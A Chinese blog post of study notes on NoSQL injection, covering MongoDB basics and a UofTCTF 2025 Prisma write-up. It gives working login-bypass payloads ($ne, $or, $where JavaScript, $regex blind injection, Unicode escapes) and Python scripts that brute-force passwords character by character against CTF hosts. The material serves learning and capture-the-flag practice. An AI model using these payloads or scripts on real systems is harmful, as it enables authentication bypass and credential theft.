NoSQl注入学习


参考:

Nosql 注入从零到一

csdn对图片有特殊处理机制,导致不能正常显示,感兴趣朋友可以看我博客站
lally.top

什么是NOSQL

nosql数据库,简单的说就是非关系型数据库的sql注入,例如MongoDB数据库

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

{
 "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
 "name" : "whoami",
 "description" : "the admin user",
 "age" : 19,
 "status" : "A",
 "groups" : [
     "admins",
     "users"
 ]
}
RDBMSMongoDB
数据库数据库
表格集合
文档
字段
表联合嵌入文档
主键主键(MongoDB 提供了 key 为 _id)

相关概念

数据库

show dbs

显示所有数据库的列表

db

显示当前数据库对象或集合

文档

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。

eg.

{"name":"lally", "age":20}

集合

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

MongoDB 基础语法

创建数据库

use DATABASE_NAME
如果数据库不存在,则创建数据库,否则切连接并换到指定数据库

创建集合

db.createCollection(name, options)
eg.
db.createCollection("all_users")
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

插入文档

db.COLLECTION_NAME.insert(document)
eg.
> db.all_users.insert({name: 'whoami', 
    description: 'the admin user',
    age: 19,
    status: 'A',
    groups: ['admins', 'users']
})

更新文档

  • update() 方法
db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)

eg.
db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})update() 方法来将年龄 所有为 19的 age 更新到 20
  • save() 方法

save() 方法通过传入的文档来替换已有文档,_id 主键存在就更新,不存在就插入

db.collection.save(
   <document>,
   {
     writeConcern: <document>
   }
)

eg.替换id为60fa854cf8aaaf4f21049148的文档
> db.all_users.save({
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "age" : 21,
})

查询文档

db.collection.find(query, projection)
eg.
db.all_users.find({"age":"20"})
  • query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
  • projection:可选,使用投影操作符指定返回的键。

如果你需要以易读的方式来读取数据,可以使用 pretty() 方法以格式化的方式来显示所有文档:

操作格式范例RDBMS 中的类似语句
等于{<key>:<value>}db.love.find({"name":"whoami"}).pretty()where name = 'whoami'
小于{<key>:{$lt:<value>}}db.love.find({"age":{$lt:19}}).pretty()where age < 19
小于或等于{<key>:{$lte:<value>}}db.love.find({"age":{$lte:19}}).pretty()where likes <= 19
大于{<key>:{$gt:<value>}}db.love.find({"age":{$gt:19}}).pretty()where likes > 19
大于或等于{<key>:{$gte:<value>}}db.love.find({"age":{$gte:19}}).pretty()where likes >= 19
不等于{<key>:{$ne:<value>}}db.love.find({"age":{$ne:19}}).pretty()where likes != 19

$lte:小于等于(less than and equal)

$gte:大于等于(greater than and equal)

  • and条件

MongoDB 中的 find() 方法可以传入多个键值对,每个键值对以逗号隔开,即常规 SQL 的 AND 条件。

  • or条件

     db.col.find(
       {
          $or: [
             {key1: value1}, {key2:value2}
          ]
       }
    ).pretty()
    
    eg.查询键 status 值为 A 或键 age 值为 19 的文档
    db.all_users.find({$or:[{"status":"A", "age":"19"}]})
    
    eg.where age>19 AND (name='whoami' OR status='A')
    db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
    

Nosql注入

攻击者通过构造恶意的输入,改变查询的逻辑。例如,注入类似 MongoDB 的运算符(如 n e 、 ne、 neor)或嵌套对象。

示例:假设一个登录 API 查询:

db.users.find({ username: req.body.username, password: req.body.password });

如果攻击者提交以下输入:

{  "username": "admin",  "password": { "$ne": null } }

查询会变成:

db.users.find({ username: "admin", password: { $ne: null } });

这将匹配所有 password 不为 null 的用户,绕过密码验证。

PHP 中的 MongoDB 注入

重言式注入

如果对用户输入没有做任何过滤与校验,那么我们可以通过 $ne 关键字构造一个永真的条件就可以完成 NoSQL 注入

username[$ne]=1&password[$ne]=1

URL 查询参数 username[$ne]=1&password[$ne]=1 会被服务器(例如 Express)解析为 JavaScript 对象:

req.query = {  
    username: { $ne: "1" }, 
    password: { $ne: "1" } 
};

联合查询注入

我们都知道,直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入,NoSQL 也有类似问题。

string query = "{ username: '" + $username + "', password: '" + $password + "' }"

当用户正确的用户名密码进行登录时,得到的查询语句是应该这样的:

{'username':'admin', 'password':'123456'}

如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

拼接入查询语句后相当于执行了:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 () 内的条件总是永真的。

但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。

这里解释一下query对象

  • 在 Express 应用中,req.query 是 Express 解析 URL 查询字符串(?key=value&key2=value2)后生成的对象。

  • 例如,URL:

    http://example.com/api/posts?id=11&category=tech

    • req.query 会被解析为:

      {  id: "11",  category: "tech" }
      

eg.

http://35.239.207.1:3000/api/posts?OR[0][author][password][startsWith]=A

req.query = {  
    OR: [    
        {
            author: {
                password: {
                    startsWith: "A"        
                }      
            }    
        }  
    ] 
};

这里:

  • OR 是键,其值是一个 数组([{ … }])。
  • 数组的第一个元素是一个对象,包含嵌套的 author 和 password。

分析

  • Query 对象整体是 { OR: […] },不是 JSON 数组,而是包含数组的对象。
  • OR[0] 表示数组索引,author 和 password 是嵌套键,startsWith 是查询运算符。

JavaScript 注入

首先我们需要了解一下 $where 操作符。在 MongoDB 中,$where 操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以在自定义的函数里获取数据库的所有信息。

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
> 

由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。

某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:

db.users.find({ $where: "function(){return(this.username == $userData)}" })

然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000) ,此时 MongoDB 执行的查询语句为:

db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })

如果此时服务器有 5 秒钟的延迟则说明注入成功。

  • MongoDB 2.4 之前

在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。

如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

这是因为发送 payload 进入 PHP 后的数据如下:

array(
    '$where' => "
    function() { 
        var username = '1';
        var password = '1';return true;var a='1';
        if(username == 'admin' && password == '123456'){
            return true;
        }else{
            return false;
        }
    }
")

布尔盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来进行盲注, $regex 可以达到和传统 SQL 注入中 substr() 函数相同的功能。

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:

username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5}    // 登录成功
username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录失败

Nodejs 中的 MongoDB 注入

在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne 等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}

贴一个盲注爆密码的脚本

import requests
import string

password = ''
url = 'http://node4.buuoj.cn:27409/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                print("[+] %s" % (password + c))
                password += c

从一道题中学习nosql注入

题目参考:UofTCTF-2025-Prismatic Blogs

这道题有意思的地方是它是sqlite数据库,但是js的prsima库会将nosql查询语句自动解析为适配sqlite数据库的sql语句

Prisma 的统一 API

  • Prisma 的 where 条件语法与 MongoDB 类似(支持 AND、startsWith 等),即使底层是 SQLite。

  • 攻击者注入的查询(如 startsWith)被 Prisma 转换为 SQLite 的 LIKE,使得攻击行为类似于 NoSQL 注入。

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    在posts页面可以插入查询语句,且没有任何过滤

app.get(
  "/api/posts",
  async (req, res) => {
    try {
      let query = req.query;
      query.published = true;
      let posts = await prisma.post.findMany({where: query});
      res.json({success: true, posts})
    } catch (error) {
      res.json({ success: false, error });
    }
  }
);

我们需要做的就是在这里爆出登录密码(用户名都是已知的),接着去login路由登录即可拿到flag

构造一手

AND: [
	author: {
		password: {
			startsWith: abcdefg
		}
	},
	author: {
		name: {
			equals: Bob
		}
	}
]

转换为url查询参数,AND[0]表示AND的第一个条件

import requests
import json
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
cha=''
for i in range(25):
    for c in s:
        res=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[0][author][password][startsWith]={cha+c}")
        if res.json().get('posts'):
            cha+=c
            print(cha)

这里startsWith是不区分大小写的,所以在爆出密码后再用lt逻辑分出大小写即可,但单一的lt或lte比较不能确定大小写,因为如果前几个字符相等,那么长度短的字符会被认为是更小的。此时就会对我们的if判断产生影响。所以我们采取替换字符避免出现相等误判的现象

我们假设逻辑是

for j in cha:
    tmp+=chr(ord(j)+1)
AND[1][author][password][lt]={tmp}

假设比较到字符A

构造密码串真实密码串逻辑
A<Ab相等判定为小于
a<ab相等判定为小于
A<ab小于
a>Ab大于

我们采取双重限制条件,首先把构造字符串全部转为大写便于思考

假设构造字符为A,真实字符为x,再加入一个字符B(A+1)

if A<=x and B>x 说明 x=A

if A<x and B<x 说明x=a

这样就可以确定真实密码到底是小写还是大写了

password=''
tmp=''
for j in cha:
    tmp=password
    j=j.upper()
    next=chr(ord(j)+1)
    res2=requests.get(f"http://localhost:70/api/posts?AND[0][author][name]=Bob&AND[1][author][password][gte]={tmp+j}&AND[2][author][password][lt]={tmp+next}")
    if res2.json().get('posts'):
        password+=j
    else:
        password+=j.lower()
    print(password)

拿到密码后登录即可看到flag外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值